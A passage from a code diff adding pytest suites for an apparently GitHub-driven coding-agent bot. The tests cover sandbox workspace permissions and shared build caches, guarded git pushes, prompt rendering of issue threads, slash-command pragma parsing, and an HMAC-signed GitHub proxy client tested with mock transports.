"Path(__import__('sys').argv[1]).write_text(__import__('sys').argv[2], encoding='utf-8')"
|
||||
),
|
||||
relative_path,
|
||||
content,
|
||||
],
|
||||
)
|
||||
|
||||
|
||||
def _prepare_shared_cargo_cache(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
||||
cargo_home = tmp_path / "shared-cache" / "cargo"
|
||||
cargo_target = tmp_path / "shared-cache" / "cargo-target"
|
||||
for path in (cargo_home, cargo_target):
|
||||
path.mkdir(parents=True)
|
||||
os.chown(path, 0, _SHARED_OMP_GID)
|
||||
path.chmod(0o2770)
|
||||
monkeypatch.setenv("CARGO_HOME", str(cargo_home))
|
||||
monkeypatch.setenv("CARGO_TARGET_DIR", str(cargo_target))
|
||||
return cargo_target
|
||||
|
||||
|
||||
def test_slot_workspace_runs_bun_biome_cargo_and_git_after_root_reentry(
|
||||
slot_tmp_path: Path,
|
||||
upstream_repo: Path,
|
||||
db: Database,
|
||||
tool_loop: asyncio.AbstractEventLoop,
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
_require_linux_root_toolchain()
|
||||
cargo_target = _prepare_shared_cargo_cache(slot_tmp_path, monkeypatch)
|
||||
workspaces = slot_tmp_path / "workspaces"
|
||||
|
||||
first = _ensure_workspace(workspaces, upstream_repo, number=101, slot_uid=_SLOT_ONE)
|
||||
stale_bun_cache = first.root / ".omp-xdg" / "cache" / "bun-install" / "root-owned-stale"
|
||||
stale_bun_cache.mkdir(parents=True, exist_ok=True)
|
||||
stale_marker = stale_bun_cache / "marker.txt"
|
||||
stale_marker.write_text("root-owned\n", encoding="utf-8")
|
||||
stale_bun_cache.chmod(0o700)
|
||||
stale_marker.chmod(0o600)
|
||||
|
||||
workspace = _ensure_workspace(
|
||||
workspaces,
|
||||
upstream_repo,
|
||||
number=101,
|
||||
slot_uid=_SLOT_ONE,
|
||||
existing_branch=first.branch,
|
||||
)
|
||||
bindings = _bindings(db=db, tool_loop=tool_loop, workspace=workspace, upstream=upstream_repo, slot_uid=_SLOT_ONE)
|
||||
|
||||
_run_ok(bindings, ["bun", "install", "--no-progress"], timeout=300.0)
|
||||
_run_ok(bindings, ["bun", "run", "check:ts"], timeout=180.0)
|
||||
_run_ok(bindings, ["cargo", "check", "--workspace"], timeout=600.0)
|
||||
host_tools._run_pre_publish_bun_check(bindings, {}, tool_name="gh_push_branch", stage="push")
|
||||
|
||||
runtime_env = host_tools._repo_command_env(bindings)
|
||||
bun_cache = Path(runtime_env["BUN_INSTALL_CACHE_DIR"])
|
||||
assert bun_cache.is_dir()
|
||||
assert bun_cache.stat().st_uid == _SLOT_ONE
|
||||
assert stale_marker.stat().st_uid == _SLOT_ONE
|
||||
assert (cargo_target / "debug").is_dir()
|
||||
assert (cargo_target / "debug").stat().st_gid == _SHARED_OMP_GID
|
||||
|
||||
_write_as_slot(bindings, "src/slot-generated.ts", "export const generatedBySlot = true;\n")
|
||||
_run_ok(bindings, ["git", "add", "src/slot-generated.ts", "Cargo.lock", "bun.lock"])
|
||||
_run_ok(bindings, ["git", "commit", "-m", "slot generated file"])
|
||||
status = _run_ok(bindings, ["git", "status", "--porcelain", "--untracked-files=normal"])
|
||||
assert status.stdout.strip() == ""
|
||||
|
||||
|
||||
def test_git_pool_metadata_survives_root_push_and_retry_slot(
|
||||
slot_tmp_path: Path,
|
||||
upstream_repo: Path,
|
||||
db: Database,
|
||||
tool_loop: asyncio.AbstractEventLoop,
|
||||
) -> None:
|
||||
_require_linux_root_toolchain()
|
||||
workspaces = slot_tmp_path / "workspaces"
|
||||
|
||||
first = _ensure_workspace(workspaces, upstream_repo, number=102, slot_uid=_SLOT_ONE)
|
||||
first_bindings = _bindings(db=db, tool_loop=tool_loop, workspace=first, upstream=upstream_repo, slot_uid=_SLOT_ONE)
|
||||
_write_as_slot(first_bindings, "src/first-slot.ts", "export const firstSlot = 1;\n")
|
||||
_run_ok(first_bindings, ["git", "add", "src/first-slot.ts"])
|
||||
_run_ok(first_bindings, ["git", "commit", "-m", "first slot commit"])
|
||||
|
||||
first_head = host_tools._guarded_push_branch(first_bindings, {}, "gh_push_branch", first.branch)
|
||||
remote_head = _git(["--git-dir", str(upstream_repo), "rev-parse", first.branch], cwd=slot_tmp_path).stdout.strip()
|
||||
assert remote_head == first_head
|
||||
|
||||
retry = _ensure_workspace(
|
||||
workspaces,
|
||||
upstream_repo,
|
||||
number=102,
|
||||
slot_uid=_SLOT_TWO,
|
||||
existing_branch=first.branch,
|
||||
)
|
||||
retry_bindings = _bindings(db=db, tool_loop=tool_loop, workspace=retry, upstream=upstream_repo, slot_uid=_SLOT_TWO)
|
||||
|
||||
_run_ok(retry_bindings, ["git", "fsck", "--no-progress"], timeout=180.0)
|
||||
_write_as_slot(retry_bindings, "src/retry-slot.ts", "export const retrySlot = 2;\n")
|
||||
_run_ok(retry_bindings, ["git", "add", "src/retry-slot.ts"])
|
||||
_run_ok(retry_bindings, ["git", "commit", "-m", "retry slot commit"])
|
||||
|
||||
retry_head = host_tools._guarded_push_branch(retry_bindings, {}, "gh_push_branch", retry.branch)
|
||||
remote_retry_head = _git(
|
||||
["--git-dir", str(upstream_repo), "rev-parse", retry.branch], cwd=slot_tmp_path
|
||||
).stdout.strip()
|
||||
assert remote_retry_head == retry_head
|
||||
assert retry_head != first_head
|
||||
|
||||
|
||||
def _prepare_shared_natives_cache(slot_tmp_path: Path) -> NativesCache:
|
||||
"""Provision `/data/cache/pi-natives` shape (root:omp, setgid 2770)."""
|
||||
cache_root = slot_tmp_path / "cache" / "pi-natives"
|
||||
cache_root.mkdir(parents=True)
|
||||
os.chown(cache_root, 0, _SHARED_OMP_GID)
|
||||
cache_root.chmod(0o2770)
|
||||
return NativesCache(cache_root)
|
||||
|
||||
|
||||
def _stage_built_natives(bindings: host_tools.ToolBindings, *, body: str = "ELFx") -> None:
|
||||
"""Mirror what a napi build would leave in `packages/natives/native/`.
|
||||
|
||||
Writes the four cached files AS THE SLOT so ownership matches a real
|
||||
post-build workspace; capture pulls these into the cache.
|
||||
"""
|
||||
_write_as_slot(bindings, "packages/natives/native/pi_natives.linux-arm64.node", body)
|
||||
_write_as_slot(bindings, "packages/natives/native/index.d.ts", "export const X: number;\n")
|
||||
_write_as_slot(bindings, "packages/natives/native/index.js", "export const X = 1;\n")
|
||||
_write_as_slot(
|
||||
bindings,
|
||||
"packages/natives/native/embedded-addon.js",
|
||||
"export const embeddedAddon = null;\n",
|
||||
)
|
||||
|
||||
|
||||
def test_natives_cache_shares_artifacts_across_slot_workspaces(
|
||||
slot_tmp_path: Path,
|
||||
upstream_repo: Path,
|
||||
db: Database,
|
||||
tool_loop: asyncio.AbstractEventLoop,
|
||||
) -> None:
|
||||
"""End-to-end: capture under slot 1, populate under slot 2, prove that:
|
||||
|
||||
1. A capture from a slot-owned workspace lands in the shared cache with
|
||||
group `omp` setgid inheritance so any other slot can read it.
|
||||
2. ensure_workspace under a different slot UID auto-populates the cached
|
||||
`.node` (hardlink, inode shared) and copies the companions.
|
||||
3. Slot 2 can read the populated `.node`, and a temp-rename rebuild
|
||||
(mirroring napi's `installBinary`) leaves the cache entry intact.
|
||||
4. An in-place truncate-rewrite of a companion (mirroring `gen-enums.ts`
|
||||
/ `installGeneratedBindings`) does NOT mutate the cached companion —
|
||||
this is exactly why companions are copied, not hardlinked.
|
||||
"""
|
||||
_require_linux_root_toolchain()
|
||||
workspaces = slot_tmp_path / "workspaces"
|
||||
natives_cache = _prepare_shared_natives_cache(slot_tmp_path)
|
||||
manager = SandboxManager(
|
||||
workspaces,
|
||||
transport=LocalGitTransport(token=None),
|
||||
natives_cache=natives_cache,
|
||||
)
|
||||
|
||||
# --- Workspace 1: stage built artifacts and capture them as the orchestrator. ---
|
||||
ws1 = manager.ensure_workspace(
|
||||
repo=_REPO,
|
||||
number=301,
|
||||
title="natives cache producer",
|
||||
clone_url=str(upstream_repo),
|
||||
default_branch="main",
|
||||
author_name=_AUTHOR_NAME,
|
||||
author_email=_AUTHOR_EMAIL,
|
||||
slot_uid=_SLOT_ONE,
|
||||
)
|
||||
bindings1 = _bindings(db=db, tool_loop=tool_loop, workspace=ws1, upstream=upstream_repo, slot_uid=_SLOT_ONE)
|
||||
_stage_built_natives(bindings1, body="ELFx-original")
|
||||
|
||||
key = natives_compute_key(ws1.repo_dir, target="linux-arm64")
|
||||
native_dir1 = ws1.repo_dir / "packages" / "natives" / "native"
|
||||
stored = natives_cache.capture(_REPO, key, native_dir1, source_workspace=ws1.workspace_key)
|
||||
assert stored is not None
|
||||
cached_node = stored / "pi_natives.linux-arm64.node"
|
||||
cached_companion = stored / "index.d.ts"
|
||||
# Cache root is setgid `omp`; new files inherit gid `omp` so any slot
|
||||
# with `extra_groups=[omp]` can read them.
|
||||
assert cached_node.stat().st_gid == _SHARED_OMP_GID
|
||||
assert cached_companion.stat().st_gid == _SHARED_OMP_GID
|
||||
|
||||
# --- Workspace 2: a different slot UID gets auto-populated on ensure. ---
|
||||
ws2 = manager.ensure_workspace(
|
||||
repo=_REPO,
|
||||
number=302,
|
||||
title="natives cache consumer",
|
||||
clone_url=str(upstream_repo),
|
||||
default_branch="main",
|
||||
author_name=_AUTHOR_NAME,
|
||||
author_email=_AUTHOR_EMAIL,
|
||||
slot_uid=_SLOT_TWO,
|
||||
)
|
||||
bindings2 = _bindings(db=db, tool_loop=tool_loop, workspace=ws2, upstream=upstream_repo, slot_uid=_SLOT_TWO)
|
||||
native_dir2 = ws2.repo_dir / "packages" / "natives" / "native"
|
||||
ws2_node = native_dir2 / "pi_natives.linux-arm64.node"
|
||||
ws2_companion = native_dir2 / "index.d.ts"
|
||||
assert ws2_node.exists(), "auto-populate must hardlink the .node into ws2"
|
||||
assert ws2_companion.exists(), "auto-populate must copy companions into ws2"
|
||||
|
||||
# The .node is hardlinked: same inode, nlink ≥ 2.
|
||||
assert ws2_node.stat().st_ino == cached_node.stat().st_ino
|
||||
assert cached_node.stat().st_nlink >= 2
|
||||
# The companion is COPIED: independent inode.
|
||||
assert ws2_companion.stat().st_ino != cached_companion.stat().st_ino
|
||||
|
||||
# Slot 2 must be able to read the populated artifacts (group omp + 0660
|
||||
# via setgid inheritance from the cache root).
|
||||
_run_ok(bindings2, ["test", "-r", "packages/natives/native/pi_natives.linux-arm64.node"])
|
||||
_run_ok(bindings2, ["test", "-r", "packages/natives/native/index.d.ts"])
|
||||
|
||||
# --- Rebuild simulation: napi's installBinary does temp + rename. ---
|
||||
# Mirrors `fs.copyFile(src, tempPath); fs.rename(tempPath, dest)`.
|
||||
_run_ok(
|
||||
bindings2,
|
||||
[
|
||||
"python3",
|
||||
"-c",
|
||||
(
|
||||
"import os, sys; "
|
||||
"dest = sys.argv[1]; "
|
||||
"tmp = dest + '.tmp.rebuild'; "
|
||||
"open(tmp, 'wb').write(b'REBUILT'); "
|
||||
"os.rename(tmp, dest)"
|
||||
),
|
||||
"packages/natives/native/pi_natives.linux-arm64.node",
|
||||
],
|
||||
)
|
||||
# Workspace sees the rebuilt bytes; cache is untouched (new inode in ws).
|
||||
assert ws2_node.read_bytes() == b"REBUILT"
|
||||
assert cached_node.read_bytes() == b"ELFx-original"
|
||||
assert ws2_node.stat().st_ino != cached_node.stat().st_ino
|
||||
|
||||
# --- Companion-rewrite simulation: gen-enums.ts open-truncate-writes. ---
|
||||
# Mirrors `await Bun.write(jsPath, js)` / Python `Path.write_text`.
|
||||
_write_as_slot(
|
||||
bindings2,
|
||||
"packages/natives/native/index.d.ts",
|
||||
"// regenerated by gen-enums\n",
|
||||
)
|
||||
assert ws2_companion.read_text() == "// regenerated by gen-enums\n"
|
||||
# Cache copy stays at its original content — copies absorbed the rewrite.
|
||||
assert cached_companion.read_text() == "export const X: number;\n"
|
||||
|
||||
# --- Recapture from ws2 (different key now — but same key here since
|
||||
# tree didn't change) is idempotent under the flock. ---
|
||||
again = natives_cache.capture(_REPO, key, native_dir2, source_workspace=ws2.workspace_key)
|
||||
assert again is not None and again == stored, "second capture must reuse the same entry"
|
||||
@@ -0,0 +1,132 @@
|
||||
"""Coverage for the directive prompt assembly."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
|
||||
from robomp import persona
|
||||
from robomp.worker import DirectiveInfo, ThreadMessage
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class _Repo:
|
||||
full_name: str = "octo/widget"
|
||||
default_branch: str = "main"
|
||||
clone_url: str = ""
|
||||
private: bool = False
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class _Issue:
|
||||
repo: str = "octo/widget"
|
||||
number: int = 1080
|
||||
title: str = "broken thing"
|
||||
body: str = "the body text"
|
||||
state: str = "open"
|
||||
author: str = "alice"
|
||||
labels: tuple[str, ...] = ()
|
||||
is_pull_request: bool = False
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class _Workspace:
|
||||
branch: str = "farm/abc/test"
|
||||
session_dir: str = "/tmp/session"
|
||||
context_dir: str = "/tmp/ctx"
|
||||
repo_dir: str = "/tmp/repo"
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class _Comment:
|
||||
id: int = 1
|
||||
author: str = "can1357"
|
||||
body: str = "@roboomp please fix"
|
||||
created_at: str = "2026-05-14T20:00:00Z"
|
||||
|
||||
|
||||
def test_render_thread_empty_yields_placeholder() -> None:
|
||||
assert persona._render_thread(()).startswith("(no prior")
|
||||
|
||||
|
||||
def test_render_thread_orders_kinds_with_appropriate_headers() -> None:
|
||||
thread = (
|
||||
ThreadMessage(kind="issue_body", author="alice", body="orig report", created_at=""),
|
||||
ThreadMessage(kind="comment", author="bob", body="me too", created_at="2026-05-01T10:00:00Z"),
|
||||
ThreadMessage(
|
||||
kind="review_comment",
|
||||
author="codex",
|
||||
body="leak here",
|
||||
created_at="2026-05-02T10:00:00Z",
|
||||
path="src/foo.py",
|
||||
line=42,
|
||||
),
|
||||
ThreadMessage(
|
||||
kind="review",
|
||||
author="codex",
|
||||
body="two issues",
|
||||
created_at="2026-05-02T10:01:00Z",
|
||||
state="CHANGES_REQUESTED",
|
||||
),
|
||||
)
|
||||
out = persona._render_thread(thread)
|
||||
# Issue body header (no timestamp).
|
||||
assert "### @alice — issue body" in out
|
||||
assert "orig report" in out
|
||||
# Comment header with timestamp.
|
||||
assert "### @bob — comment *(2026-05-01T10:00:00Z)*" in out
|
||||
assert "me too" in out
|
||||
# Review comment with file:line anchor.
|
||||
assert "### @codex — review comment on `src/foo.py`:L42" in out
|
||||
assert "leak here" in out
|
||||
# Review with state badge.
|
||||
assert "### @codex — review (CHANGES_REQUESTED)" in out
|
||||
assert "two issues" in out
|
||||
|
||||
|
||||
def test_directive_prompt_embeds_thread_and_directive_body() -> None:
|
||||
thread = (
|
||||
ThreadMessage(kind="comment", author="alice", body="follow up please", created_at="2026-05-01T10:00:00Z"),
|
||||
)
|
||||
out = persona.directive(
|
||||
repo=_Repo(),
|
||||
issue=_Issue(),
|
||||
comment=_Comment(),
|
||||
workspace=_Workspace(),
|
||||
directive=DirectiveInfo(body="apply fix Y", author="can1357", thread=thread),
|
||||
pr_status="PR #1080 is open",
|
||||
)
|
||||
assert "Directive on octo/widget#1080" in out
|
||||
assert "@can1357" in out
|
||||
assert "apply fix Y" in out
|
||||
assert "follow up please" in out
|
||||
assert "PR #1080 is open" in out
|
||||
|
||||
|
||||
def test_kickoff_directive_prompt_embeds_thread_and_classify_instruction() -> None:
|
||||
thread = (ThreadMessage(kind="issue_body", author="alice", body="failing on macos", created_at=""),)
|
||||
out = persona.kickoff_directive(
|
||||
repo=_Repo(),
|
||||
issue=_Issue(),
|
||||
workspace=_Workspace(),
|
||||
directive=DirectiveInfo(body="reproduce + fix", author="can1357", thread=thread),
|
||||
)
|
||||
assert "Maintainer directive on octo/widget#1080" in out
|
||||
assert "failing on macos" in out
|
||||
assert "reproduce + fix" in out
|
||||
# The kickoff variant must still tell the agent to classify first.
|
||||
assert "Classify first" in out
|
||||
|
||||
|
||||
def test_resume_triage_renders_branch_and_issue() -> None:
|
||||
out = persona.resume_triage(
|
||||
repo=_Repo(),
|
||||
issue=_Issue(),
|
||||
workspace=_Workspace(),
|
||||
)
|
||||
# Working branch surfaces literally so the agent sees what it's on.
|
||||
assert "farm/abc/test" in out
|
||||
# Issue identity surfaces with the title.
|
||||
assert "octo/widget#1080" in out
|
||||
assert "broken thing" in out
|
||||
# The prompt instructs the agent to reconcile drift via fetch_issue_thread.
|
||||
assert "fetch_issue_thread" in out
|
||||
@@ -0,0 +1,147 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from robomp.pragmas import (
|
||||
parse_pragmas,
|
||||
pragma_value,
|
||||
resolve_model_alias,
|
||||
resolve_thinking_level,
|
||||
)
|
||||
|
||||
|
||||
def test_parse_single_inline_command() -> None:
|
||||
body = "/model gpt\nfix the off-by-one in foo()"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "fix the off-by-one in foo()"
|
||||
assert pragmas == (("model", "gpt"),)
|
||||
|
||||
|
||||
def test_parse_multiple_commands_on_one_line() -> None:
|
||||
body = "/model gpt /thinking low\nrun"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "run"
|
||||
assert pragmas == (("model", "gpt"), ("thinking", "low"))
|
||||
|
||||
|
||||
def test_parse_stacked_commands() -> None:
|
||||
body = "/model gpt\n/thinking low\nrun"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "run"
|
||||
assert pragmas == (("model", "gpt"), ("thinking", "low"))
|
||||
|
||||
|
||||
def test_parse_equals_form() -> None:
|
||||
body = "/model=gpt /thinking=low\nrun"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "run"
|
||||
assert pragmas == (("model", "gpt"), ("thinking", "low"))
|
||||
|
||||
|
||||
def test_parse_indented_command_line() -> None:
|
||||
body = " /model gpt\nrun"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "run"
|
||||
assert pragmas == (("model", "gpt"),)
|
||||
|
||||
|
||||
def test_mixed_line_is_not_consumed() -> None:
|
||||
# Trailing prose after a command is part of the line — keep the line.
|
||||
body = "/model gpt fix the bug"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "/model gpt fix the bug"
|
||||
assert pragmas == ()
|
||||
|
||||
|
||||
def test_path_references_are_not_consumed() -> None:
|
||||
body = "/src/foo.py:42 is the offender\n/model gpt\nfix it"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "/src/foo.py:42 is the offender\nfix it"
|
||||
assert pragmas == (("model", "gpt"),)
|
||||
|
||||
|
||||
def test_command_without_value_is_not_consumed() -> None:
|
||||
body = "/model\nrun"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "/model\nrun"
|
||||
assert pragmas == ()
|
||||
|
||||
|
||||
def test_dangling_command_aborts_whole_line() -> None:
|
||||
# `/model gpt /thinking` — second command has no value, so the WHOLE line
|
||||
# is left untouched (atomic per-line consumption).
|
||||
body = "/model gpt /thinking\nrun"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "/model gpt /thinking\nrun"
|
||||
assert pragmas == ()
|
||||
|
||||
|
||||
def test_preserves_interior_blank_lines_after_strip() -> None:
|
||||
body = "/model gpt\n\nbody one\n\nbody two"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "body one\n\nbody two"
|
||||
assert pragmas == (("model", "gpt"),)
|
||||
|
||||
|
||||
def test_empty_body() -> None:
|
||||
cleaned, pragmas = parse_pragmas("")
|
||||
assert cleaned == ""
|
||||
assert pragmas == ()
|
||||
|
||||
|
||||
def test_key_case_normalized_value_preserved() -> None:
|
||||
body = "/MODEL GPT-5.5\nrun"
|
||||
cleaned, pragmas = parse_pragmas(body)
|
||||
assert cleaned == "run"
|
||||
assert pragmas == (("model", "GPT-5.5"),)
|
||||
|
||||
|
||||
def test_pragma_value_last_wins() -> None:
|
||||
assert pragma_value((("model", "a"), ("model", "b")), "model") == "b"
|
||||
assert pragma_value((("model", "a"),), "MODEL") == "a"
|
||||
assert pragma_value((), "model") is None
|
||||
|
||||
|
||||
def test_resolve_model_alias_precedence() -> None:
|
||||
pool = ("p-anthropic/claude-sonnet-4-6", "p-openai/gpt-5.5", "p-openai/gpt-5.5-mini")
|
||||
# Short-name-after-slash beats substring.
|
||||
assert resolve_model_alias("gpt-5.5", pool) == "p-openai/gpt-5.5"
|
||||
# Substring is fallback.
|
||||
assert resolve_model_alias("gpt", pool) == "p-openai/gpt-5.5"
|
||||
assert resolve_model_alias("claude", pool) == "p-anthropic/claude-sonnet-4-6"
|
||||
|
||||
|
||||
def test_resolve_model_alias_full_id() -> None:
|
||||
pool = ("p-openai/gpt-5.5", "p-anthropic/claude-sonnet-4-6")
|
||||
assert resolve_model_alias("p-openai/gpt-5.5", pool) == "p-openai/gpt-5.5"
|
||||
|
||||
|
||||
def test_resolve_model_alias_no_match() -> None:
|
||||
pool = ("p-anthropic/claude-sonnet-4-6",)
|
||||
assert resolve_model_alias("gpt", pool) is None
|
||||
assert resolve_model_alias("", pool) is None
|
||||
|
||||
|
||||
def test_resolve_thinking_level_aliases() -> None:
|
||||
# Spec from the user: xhi|xhigh|hi|high|med|medium|lo|low|none|off|no.
|
||||
assert resolve_thinking_level("off") == "off"
|
||||
assert resolve_thinking_level("none") == "off"
|
||||
assert resolve_thinking_level("no") == "off"
|
||||
assert resolve_thinking_level("lo") == "low"
|
||||
assert resolve_thinking_level("low") == "low"
|
||||
assert resolve_thinking_level("med") == "medium"
|
||||
assert resolve_thinking_level("medium") == "medium"
|
||||
assert resolve_thinking_level("hi") == "high"
|
||||
assert resolve_thinking_level("high") == "high"
|
||||
assert resolve_thinking_level("xhi") == "xhigh"
|
||||
assert resolve_thinking_level("xhigh") == "xhigh"
|
||||
|
||||
|
||||
def test_resolve_thinking_level_case_insensitive() -> None:
|
||||
assert resolve_thinking_level("HIGH") == "high"
|
||||
assert resolve_thinking_level(" Hi ") == "high"
|
||||
assert resolve_thinking_level("XHi") == "xhigh"
|
||||
|
||||
|
||||
def test_resolve_thinking_level_rejects_unknown() -> None:
|
||||
assert resolve_thinking_level("ultra") is None
|
||||
assert resolve_thinking_level("") is None
|
||||
assert resolve_thinking_level("minimal") is None
|
||||
@@ -0,0 +1,566 @@
|
||||
"""Coverage for `GitHubProxyClient` + `ProxyGitTransport` against an
|
||||
ASGI-wrapped proxy app and a hand-rolled `httpx.MockTransport`."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
from collections.abc import Callable
|
||||
from pathlib import Path
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
from pydantic import SecretStr
|
||||
|
||||
from robomp.config import Settings
|
||||
from robomp.git_ops import HeadDriftError
|
||||
from robomp.github_client import (
|
||||
CommentInfo,
|
||||
GitHubClient,
|
||||
GitHubError,
|
||||
IssueInfo,
|
||||
IssueSummary,
|
||||
PullRequestInfo,
|
||||
PullRequestReviewInfo,
|
||||
ReactionInfo,
|
||||
RepoInfo,
|
||||
ReviewCommentInfo,
|
||||
)
|
||||
from robomp.proxy.server import create_proxy_app
|
||||
from robomp.proxy_client import GitHubProxyClient, ProxyGitTransport
|
||||
from robomp.proxy_hmac import HEADER_SIGNATURE, HEADER_TIMESTAMP, verify
|
||||
from robomp.sandbox import workspace_key
|
||||
|
||||
_HMAC = "test-hmac-key-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
|
||||
_HMAC_BYTES = _HMAC.encode("utf-8")
|
||||
_TOKEN = "ghp_test_token_value"
|
||||
|
||||
|
||||
# ---------- shared helpers ----------
|
||||
|
||||
|
||||
def _build_settings(tmp_path: Path) -> Settings:
|
||||
cfg = Settings.model_construct(
|
||||
github_token=SecretStr(_TOKEN),
|
||||
github_webhook_secret=SecretStr("webhook-secret"),
|
||||
bot_login="robomp-bot",
|
||||
git_author_email="robomp-bot@example.invalid",
|
||||
repo_allowlist_raw="octo/widget",
|
||||
gh_proxy_url=None,
|
||||
gh_proxy_hmac_key=SecretStr(_HMAC),
|
||||
gh_proxy_bind_host="0.0.0.0",
|
||||
gh_proxy_bind_port=8081,
|
||||
workspace_root=tmp_path / "workspaces",
|
||||
sqlite_path=tmp_path / "robomp.sqlite",
|
||||
log_dir=tmp_path / "logs",
|
||||
)
|
||||
cfg.ensure_paths()
|
||||
return cfg
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def proxy_settings(tmp_path: Path) -> Settings:
|
||||
return _build_settings(tmp_path)
|
||||
|
||||
|
||||
def _git(args: list[str], cwd: Path) -> subprocess.CompletedProcess[str]:
|
||||
return subprocess.run(
|
||||
["git", *args],
|
||||
cwd=str(cwd),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env=os.environ
|
||||
| {
|
||||
"GIT_AUTHOR_NAME": "t",
|
||||
"GIT_AUTHOR_EMAIL": "t@t",
|
||||
"GIT_COMMITTER_NAME": "t",
|
||||
"GIT_COMMITTER_EMAIL": "t@t",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def upstream_repo(tmp_path: Path) -> Path:
|
||||
repo = tmp_path / "upstream.git"
|
||||
repo.mkdir()
|
||||
_git(["init", "--initial-branch=main", "--bare", str(repo)], tmp_path)
|
||||
seed = tmp_path / "seed"
|
||||
seed.mkdir()
|
||||
_git(["init", "--initial-branch=main", str(seed)], tmp_path)
|
||||
(seed / "README.md").write_text("hello\n", encoding="utf-8")
|
||||
_git(["-C", str(seed), "add", "."], tmp_path)
|
||||
_git(["-C", str(seed), "commit", "-m", "init"], tmp_path)
|
||||
_git(["-C", str(seed), "remote", "add", "origin", str(repo)], tmp_path)
|
||||
_git(["-C", str(seed), "push", "origin", "main"], tmp_path)
|
||||
return repo
|
||||
|
||||
|
||||
def _stage_workspace(cfg: Settings, upstream: Path, repo: str, number: int, branch: str) -> tuple[Path, str]:
|
||||
ws_dir = Path(cfg.workspace_root) / workspace_key(repo, number)
|
||||
ws_dir.mkdir(parents=True, exist_ok=True)
|
||||
repo_dir = ws_dir / "repo"
|
||||
_git(["clone", str(upstream), str(repo_dir)], ws_dir)
|
||||
_git(["-C", str(repo_dir), "config", "user.email", "t@t"], ws_dir)
|
||||
_git(["-C", str(repo_dir), "config", "user.name", "t"], ws_dir)
|
||||
_git(["-C", str(repo_dir), "checkout", "-b", branch], ws_dir)
|
||||
(repo_dir / "x.txt").write_text("x", encoding="utf-8")
|
||||
_git(["-C", str(repo_dir), "add", "."], ws_dir)
|
||||
_git(["-C", str(repo_dir), "commit", "-m", "x"], ws_dir)
|
||||
proc = _git(["-C", str(repo_dir), "rev-parse", "HEAD"], ws_dir)
|
||||
return repo_dir, proc.stdout.strip()
|
||||
|
||||
|
||||
def _bare_has_branch(bare: Path, branch: str) -> bool:
|
||||
proc = subprocess.run(
|
||||
["git", "-C", str(bare), "branch", "--list", branch],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
return bool(proc.stdout.strip())
|
||||
|
||||
|
||||
def _attach_gh(app, handler: Callable[[httpx.Request], httpx.Response]) -> None:
|
||||
app.state.github = GitHubClient(_TOKEN, transport=httpx.MockTransport(handler))
|
||||
|
||||
|
||||
# Sync httpx.Client cannot accept httpx.ASGITransport (which is async-only).
|
||||
# Bridge by running the async transport inside a one-shot event loop per call.
|
||||
class _SyncASGIBridge(httpx.BaseTransport):
|
||||
def __init__(self, app) -> None:
|
||||
self._async = httpx.ASGITransport(app=app)
|
||||
|
||||
def handle_request(self, request: httpx.Request) -> httpx.Response: # type: ignore[override]
|
||||
async def _drain() -> tuple[int, httpx.Headers, bytes]:
|
||||
async_resp = await self._async.handle_async_request(request)
|
||||
body = await async_resp.aread()
|
||||
await async_resp.aclose()
|
||||
return async_resp.status_code, async_resp.headers, body
|
||||
|
||||
status, headers, body = asyncio.run(_drain())
|
||||
# Wrap the bytes in a fresh sync Response so httpx.Client's
|
||||
# `isinstance(response.stream, SyncByteStream)` assertion holds.
|
||||
return httpx.Response(
|
||||
status_code=status,
|
||||
headers=headers,
|
||||
content=body,
|
||||
request=request,
|
||||
)
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# 1. HMAC headers + signature verify
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_signed_headers_present_and_verify() -> None:
|
||||
captured: list[httpx.Request] = []
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
captured.append(request)
|
||||
# Echo a minimal valid payload for whichever endpoint was hit.
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"full_name": "octo/widget",
|
||||
"default_branch": "main",
|
||||
"clone_url": "https://example/octo/widget.git",
|
||||
"private": False,
|
||||
},
|
||||
)
|
||||
|
||||
client = GitHubProxyClient(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=httpx.MockTransport(handler),
|
||||
)
|
||||
info = await client.get_repo("octo/widget")
|
||||
assert isinstance(info, RepoInfo)
|
||||
assert len(captured) == 1
|
||||
req = captured[0]
|
||||
ts = req.headers.get(HEADER_TIMESTAMP)
|
||||
sig = req.headers.get(HEADER_SIGNATURE)
|
||||
assert ts is not None and sig is not None
|
||||
raw_query = req.url.query.decode("ascii")
|
||||
target = f"{req.url.path}?{raw_query}" if raw_query else req.url.path
|
||||
result = verify(
|
||||
method=req.method,
|
||||
path=target,
|
||||
body=req.content or b"",
|
